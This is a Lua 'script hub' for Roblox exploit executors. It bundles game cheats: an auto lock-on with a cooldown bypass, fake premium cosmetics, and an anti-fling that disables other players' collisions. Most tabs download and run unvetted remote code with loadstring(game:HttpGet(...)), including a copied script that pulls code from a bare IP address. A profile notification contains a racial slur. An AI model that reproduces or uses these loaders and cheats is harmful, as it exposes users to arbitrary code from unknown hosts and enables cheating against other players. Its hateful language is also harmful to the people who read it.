-- Fixed & Clean WindUI Load (NO REQUIRE ERROR) local WindUI = loadstring(game:HttpGet("https://github.com/Footagesus/WindUI/releases/latest/download/main.lua"))() WindUI:SetNotificationLower(true) -- Blood Red Gradient Theme (like in the original) local gradient = WindUI:Gradient({ ['0'] = { Color = Color3.fromHex('#200000'), Transparency = 0.5 }, ['100'] = { Color = Color3.fromHex('#0d0000'), Transparency = 0.5 }, }, { Rotation = 0 }) WindUI:AddTheme({ Name = "BloodShadow", Accent = gradient, Background = Color3.fromHex('#0a0000'), Button = Color3.fromHex('#4d0000'), Hover = Color3.fromHex('#660000'), Active = Color3.fromHex('#990000'), Outline = Color3.fromHex('#3a0a0a'), Border = Color3.fromHex('#330000'), Text = Color3.fromHex('#ffcccc'), Placeholder = Color3.fromHex('#990000'), Icon = Color3.fromHex('#b30000'), ScrollBar = Color3.fromHex('#2e0000'), Dialog = Color3.fromHex('#120000'), }) -- Fancy Gradient Title (Hexlust Hub in red gradient) local function GradientText(text) local startColor = Color3.fromHex('#a00e0e') local endColor = Color3.fromHex('#490303') local output = "" for i = 1, #text do local progress = (i - 1) / (#text - 1) local r = math.floor((startColor.R + (endColor.R - startColor.R) * progress) * 255) local g = math.floor((startColor.G + (endColor.G - startColor.G) * progress) * 255) local b = math.floor((startColor.B + (endColor.B - startColor.B) * progress) * 255) output = output .. string.format('%s', r, g, b, text:sub(i,i)) end return output end -- Optional Popup (like original) WindUI:Popup({ Title = GradientText("Hexlust Hub"), Content = "Welcome back! Enjoy the hub.", Icon = "lucide:zap", Buttons = { { Title = "Let's Go!", Variant = "Primary", Icon = "lucide:rocket" } } }) -- Create Main Window local Window = WindUI:CreateWindow({ Title = "Hexlust Hub", Icon = ('rbxassetid://81991054282907'), Transparent = true, Author = "by xenlover", Folder = "HexlustHub", Theme = "BloodShadow", -- Use the red theme Size = UDim2.fromOffset(550, 450), MinSize = Vector2.new(550, 450), MaxSize = Vector2.new(850, 560), SideBarWidth = 200, HideSearchBar = false, ScrollBarEnabled = true, Resizable = true, User = { Enabled = true, Anonymous = false, Callback = function() WindUI:Notify({Title = "Hey!", Content = "That's you Nigger!", Duration = 3}) end } }) -- NOW ADD YOUR TABS HERE -- Example: Kiba V4 Tab local KibaTab = Window:Tab({ Title = "Kiba V4", Icon = "zap", }) local Button = KibaTab:Button({ Title = "Kiba By Xenlover", Desc = "Execute", Locked = false, Callback = function() -- code local v1 = game:GetService("Players") game:GetService("TweenService") game:GetService("RunService") local vu2 = v1.LocalPlayer local vu3 = vu2.Character or vu2.CharacterAdded:Wait() local v4 = vu3 local vu5 = vu3.WaitForChild(v4, "Humanoid") local v6 = vu3 local vu7 = vu3.WaitForChild(v6, "HumanoidRootPart") local vu8 = { ["10503381238"] = true, ["13379003796"] = true } local vu9 = { ["10479335397"] = true, ["13380255751"] = true } local vu10 = nil local vu11 = nil local vu12 = nil local vu13 = nil local vu14 = false local vu15 = 10 local vu16 = false local vu17 = Instance.new("ScreenGui", vu2:WaitForChild("PlayerGui")) vu17.Name = "AutoFollowToggle" vu17.ResetOnSpawn = false local vu18 = Instance.new("TextButton") vu18.Size = UDim2.new(0, 100, 0, 20) vu18.Position = UDim2.new(0, 100, 0, 50) vu18.BackgroundColor3 = Color3.fromRGB(30, 30, 30) vu18.Text = "Kiba Tech V3 made by xen: OFF" vu18.TextColor3 = Color3.fromRGB(255, 255, 255) vu18.Font = Enum.Font.GothamBold vu18.TextScaled = true vu18.Active = true vu18.Draggable = true vu18.Parent = vu17 Instance.new("UICorner", vu18).CornerRadius = UDim.new(0, 12) local v19 = Instance.new("UIGradient", vu18) v19.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 0, 0)), ColorSequenceKeypoint.new(0.2, Color3.fromRGB(255, 127, 0)), ColorSequenceKeypoint.new(0.4, Color3.fromRGB(0, 255, 0)), ColorSequenceKeypoint.new(0.6, Color3.fromRGB(0, 0, 255)), ColorSequenceKeypoint.new(0.8, Color3.fromRGB(148, 0, 211)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0)) }) v19.Rotation = 10 local vu20 = Instance.new("UIStroke", vu18) vu20.Thickness = 1 -- New No Cooldown Toggle Button local vu_noCooldown = false local vu18_noCooldown = Instance.new("TextButton") vu18_noCooldown.Size = UDim2.new(0, 100, 0, 20) vu18_noCooldown.Position = UDim2.new(0, 100, 0, 75) -- Directly below the first button vu18_noCooldown.BackgroundColor3 = Color3.fromRGB(30, 30, 30) vu18_noCooldown.Text = "No Cooldown: OFF" vu18_noCooldown.TextColor3 = Color3.fromRGB(255, 255, 255) vu18_noCooldown.Font = Enum.Font.GothamBold vu18_noCooldown.TextScaled = true vu18_noCooldown.Active = true vu18_noCooldown.Draggable = true vu18_noCooldown.Parent = vu17 Instance.new("UICorner", vu18_noCooldown).CornerRadius = UDim.new(0, 12) local v19_no = Instance.new("UIGradient", vu18_noCooldown) v19_no.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 0, 0)), ColorSequenceKeypoint.new(0.2, Color3.fromRGB(255, 127, 0)), ColorSequenceKeypoint.new(0.4, Color3.fromRGB(0, 255, 0)), ColorSequenceKeypoint.new(0.6, Color3.fromRGB(0, 0, 255)), ColorSequenceKeypoint.new(0.8, Color3.fromRGB(148, 0, 211)), ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0)) }) v19_no.Rotation = 10 local vu20_no = Instance.new("UIStroke", vu18_noCooldown) vu20_no.Thickness = 1 local vu21 = game:GetService("Players") local vu22 = game:GetService("TweenService") local vu23 = game:GetService("RunService") task.spawn(function() local v24 = 0 while task.wait(0.15) do v24 = (v24 + 1) % 360 vu20.Color = Color3.fromHSV(v24 / 360, 1, 1) vu20_no.Color = Color3.fromHSV(v24 / 360, 1, 1) end end) local function vu34(p25) vu16 = true local vu26 = Instance.new("Frame") vu26.Size = UDim2.new(0, 180, 0, 18) vu26.Position = UDim2.new(0.5, - 90, 0.4, 80) vu26.BackgroundColor3 = Color3.fromRGB(30, 30, 30) vu26.Transparency = 0.42 vu26.BorderSizePixel = 0 vu26.Parent = vu17 Instance.new("UICorner", vu26).CornerRadius = UDim.new(0, 10) local v27 = Instance.new("Frame") v27.Size = UDim2.new(0, 0, 1, 0) v27.BackgroundColor3 = Color3.fromRGB(0, 0, 0) v27.BorderSizePixel = 0 v27.Parent = vu26 Instance.new("UICorner", v27).CornerRadius = UDim.new(0, 10) local v28 = Instance.new("TextLabel") v28.Size = UDim2.new(1, 0, 1, 0) v28.BackgroundTransparency = 0.42 v28.Text = "Kiba Tech V3..." v28.TextColor3 = Color3.new(1, 1, 1) v28.Font = Enum.Font.GothamBold v28.TextScaled = true v28.Parent = vu26 local vu33 = Instance.new("ParticleEmitter") vu33.Texture = "rbxassetid://243660364" vu33.Rate = 6 vu33.Lifetime = NumberRange.new(1.2, 1.6) vu33.Speed = NumberRange.new(0, 0) vu33.Rotation = NumberRange.new(0, 360) vu33.Size = NumberSequence.new({ NumberSequenceKeypoint.new(0, 2), NumberSequenceKeypoint.new(0.5, 6), NumberSequenceKeypoint.new(1, 10) }) vu33.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.3), NumberSequenceKeypoint.new(1, 1) }) vu33.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1, Color3.fromRGB(0, 255, 255)) }) vu33.LightEmission = 0.6 vu33.Parent = vu7 vu22:Create(v27, TweenInfo.new(p25, Enum.EasingStyle.Linear), { Size = UDim2.new(1, 0, 1, 0) }):Play() task.delay(p25, function() vu16 = false vu26:Destroy() if vu33 then vu33:Destroy() end end) end local function vu40() if vu10 then vu10:Destroy() end if vu11 then vu11:Destroy() end if vu12 then vu12:Disconnect() end if vu13 then vu13:Destroy() end local v35 = vu7 local v36, v37, v38 = ipairs(v35:GetChildren()) while true do local v39 v38, v39 = v36(v37, v38) if v38 == nil then break end if v39:IsA("Attachment") or v39.Name == "HasSnapped" then v39:Destroy() end end end local function vu48(pu41) vu40() vu13 = Instance.new("Part") vu13.Size = Vector3.new(0.5, 0.5, 0.5) vu13.Transparency = 1 vu13.Anchored = true vu13.CanCollide = false vu13.Name = "FollowPart" vu13.Parent = workspace local v42 = Instance.new("Attachment", vu7) local v43 = Instance.new("Attachment", vu13) local v44 = Instance.new("Attachment", vu7) local v45 = Instance.new("Attachment", vu13) vu10 = Instance.new("AlignPosition") vu10.Attachment0 = v42 vu10.Attachment1 = v43 vu10.RigidityEnabled = true vu10.Responsiveness = 200 vu10.MaxForce = math.huge vu10.Parent = vu7 vu11 = Instance.new("AlignOrientation") vu11.Attachment0 = v44 vu11.Attachment1 = v45 vu11.RigidityEnabled = true vu11.Responsiveness = 100 vu11.MaxTorque = math.huge vu11.Parent = vu7 vu12 = vu23.RenderStepped:Connect(function() if pu41 and pu41.Parent then local v46 = pu41.CFrame * CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(55), 0, 0) vu13.CFrame = v46 if not vu7:FindFirstChild("HasSnapped") then vu7.CFrame = v46 local v47 = Instance.new("BoolValue") v47.Name = "HasSnapped" v47.Parent = vu7 end end end) end local function vu58() local v49 = vu15 local v50, v51, v52 = pairs(workspace.Live:GetChildren()) local v53 = nil while true do local v54 v52, v54 = v50(v51, v52) if v52 == nil then break end if v54:IsA("Model") and v54 ~= vu3 then local v55 = v54:FindFirstChild("HumanoidRootPart") local v56 = v54:FindFirstChildOfClass("Humanoid") if v55 and (v56 and v56.Health > 0) then local v57 = (v55.Position - vu7.Position).Magnitude if v57 <= v49 then if v54.Name == "Weakest Dummy" then v53 = v55 v49 = v57 elseif vu21:GetPlayerFromCharacter(v54) then v53 = v55 v49 = v57 end end end end end return v53 end local function vu63(p59) if vu14 and (vu_noCooldown or not vu16) then -- Cooldown bypassed if No Cooldown is ON local v60 = string.match(p59.Animation.AnimationId, "%d+") if vu9[v60] then vu16 = true task.delay(0.8, function() vu34(4.6) end) elseif vu8[v60] then vu16 = true task.delay(0.32, function() local vu61 = { { Dash = Enum.KeyCode.W, Key = Enum.KeyCode.Q, Goal = "KeyPress" } } pcall(function() vu2.Character:WaitForChild("Communicate"):FireServer(unpack(vu61)) end) local v62 = vu58() if v62 then vu48(v62) task.delay(0.5, vu40) end end) task.delay(0.8, function() vu34(4.6) end) end end end local function vu64() vu3 = vu2.Character or vu2.CharacterAdded:Wait() vu5 = vu3:WaitForChild("Humanoid") vu7 = vu3:WaitForChild("HumanoidRootPart") vu5.AnimationPlayed:Connect(vu63) end vu64() vu2.CharacterAdded:Connect(function() task.wait(0.1) vu64() end) vu18.MouseButton1Click:Connect(function() vu14 = not vu14 vu18.Text = vu14 and "Kiba Tech V3 made by xen: ON" or "Kiba Tech V3 made by xen: OFF" end) -- No Cooldown Toggle Click vu18_noCooldown.MouseButton1Click:Connect(function() vu_noCooldown = not vu_noCooldown vu18_noCooldown.Text = vu_noCooldown and "No Cooldown: ON" or "No Cooldown: OFF" end) end }) local HeadlessTab = Window:Tab({ Title = "Headless/Korblox", Icon = "zap", -- optional Locked = false, }) local Button = HeadlessTab:Button({ Title = "Headless/Korblox", Desc = "Execute", Locked = false, Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local v1 = game:GetService("Players") game:GetService("ReplicatedStorage") game:GetService("RunService") local vu2 = game:GetService("StarterGui") local vu3 = v1.LocalPlayer; local vu4 = "101851696" local vu5 = "101851254" local vu6 = "134082579" local vu7 = "134082627" local function v15() local v8 = vu3.Character if v8 then local v9 = v8:FindFirstChild("Right Leg") or v8:FindFirstChild("RightLowerLeg") if v9 then local v10, v11, v12 = pairs(v9:GetChildren()) while true do local v13 v12, v13 = v10(v11, v12) if v12 == nil then break end if v13:IsA("SpecialMesh") then v13:Destroy() end end local v14 = Instance.new("SpecialMesh") v14.MeshType = Enum.MeshType.FileMesh v14.MeshId = "rbxassetid://" .. vu4 v14.TextureId = "rbxassetid://" .. vu5 v14.Scale = Vector3.new(1, 1, 1) v14.Offset = Vector3.new(0, 0, 0) v14.Parent = v9 v9.Transparency = 0.1 v9.BrickColor = BrickColor.new("Really black") v9.Material = Enum.Material.Plastic end end end local function v29() local v16 = vu3.Character if v16 then local v17 = v16:FindFirstChild("Head") if v17 then local v18, v19, v20 = pairs(v17:GetChildren()) while true do local v21 v20, v21 = v18(v19, v20) if v20 == nil then break end if v21:IsA("Decal") or v21:IsA("SpecialMesh") then v21:Destroy() end end local v22 = Instance.new("SpecialMesh") v22.MeshType = Enum.MeshType.FileMesh v22.MeshId = "rbxassetid://" .. vu6 v22.TextureId = "rbxassetid://" .. vu7 v22.Scale = Vector3.new(1.25, 1.25, 1.25) v22.Offset = Vector3.new(0, 0, 0) v22.Parent = v17 v17.Transparency = 0.1 v17.BrickColor = BrickColor.new("Really black") v17.Material = Enum.Material.Plastic local v23, v24, v25 = pairs(v16:GetChildren()) while true do local v26 v25, v26 = v23(v24, v25) if v25 == nil then break end if v26:IsA("Accessory") then local v27 = v26:FindFirstChild("Handle") if v27 then local v28 = v27:FindFirstChildOfClass("Attachment") if v28 and (v28.Name:lower():find("hair") or v28.Name:lower():find("hat") or v28.Name:lower():find("face")) then v26:Destroy() end end end end end end end local function v36() local v30 = vu3.Character if v30 then local v31 = v30:FindFirstChild("Right Leg") or v30:FindFirstChild("RightLowerLeg") if v31 then local v32 = v30:FindFirstChild("FakeKorbloxLeg") if v32 then v32:Destroy() end local v33 = Instance.new("Part") v33.Name = "FakeKorbloxLeg" v33.Size = v31.Size v33.CFrame = v31.CFrame v33.Anchored = false v33.CanCollide = false v33.Transparency = 0 v33.BrickColor = BrickColor.new("Really black") v33.Material = Enum.Material.Plastic local v34 = Instance.new("SpecialMesh") v34.MeshType = Enum.MeshType.FileMesh v34.MeshId = "rbxassetid://" .. vu4 v34.TextureId = "rbxassetid://" .. vu5 v34.Scale = Vector3.new(1, 1, 1) v34.Offset = Vector3.new(0, 0, 0) v34.Parent = v33 v33.Parent = v30 local v35 = Instance.new("WeldConstraint") v35.Part0 = v31 v35.Part1 = v33 v35.Parent = v31 v31.Transparency = 1 v33.CFrame = v31.CFrame end end end local function runScript() local char = vu3.Character if not char then return end -- Wait for Head specifically, then wait an extra second before applying headless local head = char:WaitForChild("Head", 5) if head then wait(0.3) -- Extra 1 second delay after Head loads v29() -- Apply fake headless end -- Korblox parts (apply as soon as leg exists, no extra wait needed) local rightLeg = char:FindFirstChild("Right Leg") or char:FindFirstChild("RightLowerLeg") if rightLeg then v15() v36() end end -- Run immediately if already in game if vu3.Character then runScript() end -- Run every respawn vu3.CharacterAdded:Connect(function(character) vu3.Character = character -- Wait for character to start loading character:WaitForChild("HumanoidRootPart", 10) runScript() -- Safety net: if Head loads late, still apply with the extra second wait character.ChildAdded:Connect(function(child) if child.Name == "Head" then wait(0.3) v29() end end) end) end }) local AntiFlingTab = Window:Tab({ Title = "Anti-Fling", Icon = "zap", -- optional Locked = false, }) local Button = AntiFlingTab:Button({ Title = "AntiFling", Desc = "Execute", Locked = false, Callback = function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local Players = game:GetService("Players") local RunService = game:GetService("RunService") local localPlayer = Players.LocalPlayer local trackedPlayers = {} local function disableCanCollide(part) if part:IsA("BasePart") and part.CanCollide then part.CanCollide = false end end local function trackCharacter(character) -- Track all current parts for immediate effect for _, part in pairs(character:GetChildren()) do disableCanCollide(part) end -- Also track new parts added later character.ChildAdded:Connect(function(child) disableCanCollide(child) end) end local function trackPlayer(player) if player == localPlayer then return end if player.Character then trackCharacter(player.Character) end player.CharacterAdded:Connect(trackCharacter) trackedPlayers[player] = true end -- Initial setup for existing players for _, player in pairs(Players:GetPlayers()) do trackPlayer(player) end -- Listen for new players Players.PlayerAdded:Connect(trackPlayer) -- Continuously force disabling CanCollide on all tracked players' characters every frame RunService.RenderStepped:Connect(function() for player, _ in pairs(trackedPlayers) do local character = player.Character if character then for _, part in pairs(character:GetChildren()) do disableCanCollide(part) end end end end) end }) local QuizTab = Window:Tab({ Title = "Quiz Chat Minigame", Icon = "zap", -- optional Locked = false, }) local Button = QuizTab:Button({ Title = "Quiz Minigame Chat Loader", Desc = "Execute", Locked = false, Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Damian-11/quizbot/master/quizbot.luau"))() end }) local DeathCounterTab = Window:Tab({ Title = "Death Counter Esp", Icon = "zap", -- optional Locked = false, }) local Button = DeathCounterTab:Button({ Title = "Death Counter Esp", Desc = "Execute", Locked = false, Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/losermancracker-byte/scripts/refs/heads/main/deathcounteresp"))() end }) local DashTab = Window:Tab({ Title = "Auto Slide Dash", Icon = "zap", -- optional Locked = false, }) local Button = DashTab:Button({ Title = "Slide Dash Script", Desc = "Execute", Locked = false, Callback = function() loadstring(game:HttpGet("https://api.luarmor.net/files/v3/loaders/54d6b993fe3a4c1f5c3e375eba35e5ec.lua"))() end }) local EmoteTab = Window:Tab({ Title = "Auto Claim Emote", Icon = "zap", -- optional Locked = false, }) local Button = EmoteTab:Button({ Title = "Auto Claim Emotes Script", Desc = "Execute", Locked = false, Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/losermancracker-byte/scripts/refs/heads/main/auto%20claim%20emotes", true))() end }) local Paragraph = EmoteTab:Paragraph({ Title = "This script is a work in progress..", Desc = "Send feedback via discord.", Color = "Red", Image = "", ImageSize = 30, Thumbnail = "", ThumbnailSize = 80, Locked = false, Buttons = { } }) local FlingTab = Window:Tab({ Title = "Ultimate Fling Gui", Icon = "zap", -- optional Locked = false, }) local Button = FlingTab:Button({ Title = "Ultimate Fling Gui Script", Desc = "Execute", Locked = false, Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/K1LAS1K/Ultimate-Fling-GUI/main/flingscript.lua"))() end }) local TrashTab = Window:Tab({ Title = "Trash Can Moveset", Icon = "zap", -- optional Locked = false, }) local Button = TrashTab:Button({ Title = "Trash Can Moveset Script", Desc = "Execute", Locked = false, Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/yes1nt/yes/refs/heads/main/Trashcan%20Man", true))() end }) local StandTab = Window:Tab({ Title = "Stand Owner Script", Icon = "zap", -- optional Locked = false, }) local Paragraph = StandTab:Paragraph({ Title = "This is a button to copy the stand script. Put in executor and change OWNER values.", Desc = "Works with only same age group chat difference.", Color = "Red", Image = "", ImageSize = 30, Thumbnail = "", ThumbnailSize = 80, Locked = false, Buttons = { { Icon = "copy", Title = "Copy Stand Script", Callback = function() -- This script only copies the real script to your clipboard -- Nothing gets executed local scriptToCopy = [[ getgenv().Credits = "https://discord.gg/Aknd49ARke | If you pay for this script you get scammed this script is completely free for use" getgenv().SocietyStand = { Main = { --// ! Main ! \-- Owner = "mastersinuuu", -- Username of owner !!CASE SENSITIVE!! CustomName = "Master", -- Custom Name Text. Default is [Master]. Example: 'I'm Here, Master!' CustomPrefix = "!", -- [ ! | / | . | ? | > | < | $ | ; | : ] Custom prefix PrefixAT = "Before", -- [Before | After] decides if the prefix is before the command or after Position = "Back", -- Position of Stand [Back | Left | Right] --\ ! Main ! //-- --// ! Settings >.< ! \-- CustomSummon = "Star Platinum Za Warudo", -- Custom summon command FlyAnim = "fly3", -- Animation it uses: float1 / float2 / fly1 / fly2 / lev1 / lev2 / lev3 / fly3 ChatCommands = false, -- [true | false] Chats when you use some command lowgfx = false, -- [true | false] Low graphics to boost performance DisableRendering = false, -- [true | false] Disable rendering for maximum performance --\ ! Settings >.< ! //-- } } pcall(function() loadstring(game:HttpGet("http://149.40.3.138:50908/main"))() end) pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/losermancracker-byte/scripts/refs/heads/main/commands"))() end) ]] -- Most popular Roblox exploit methods to set clipboard: if setclipboard then setclipboard(scriptToCopy) print("Script copied to clipboard! (setclipboard)") elseif toclipboard then toclipboard(scriptToCopy) print("Script copied to clipboard! (toclipboard)") elseif SynapseX and SynapseX.set_clipboard then SynapseX.set_clipboard(scriptToCopy) print("Script copied to clipboard! (Synapse)") else warn("Couldn't copy to clipboard automatically.") warn("Please manually copy the code above ^^^") end -- Optional: show a little message in console print("──────────────────────────────────────────") print(" Society Stand script copied! ") print("Paste it wherever you want to actually run it") print("──────────────────────────────────────────") end, } } }) --make tabs above ^ Window:Tag({ Title = "v1", Icon = "square-stack", Color = Color3.fromHex("#FF2B00"), Radius = 10, -- from 0 to 13 }) local KeybindTab = Window:Tab({ Title = "Misc", Icon = "bird", -- optional Locked = false, }) local Keybind = KeybindTab:Keybind({ Title = "Keybind", Desc = "Keybind to open ui", Value = "LeftControl", Callback = function(v) Window:SetToggleKey(Enum.KeyCode[v]) end })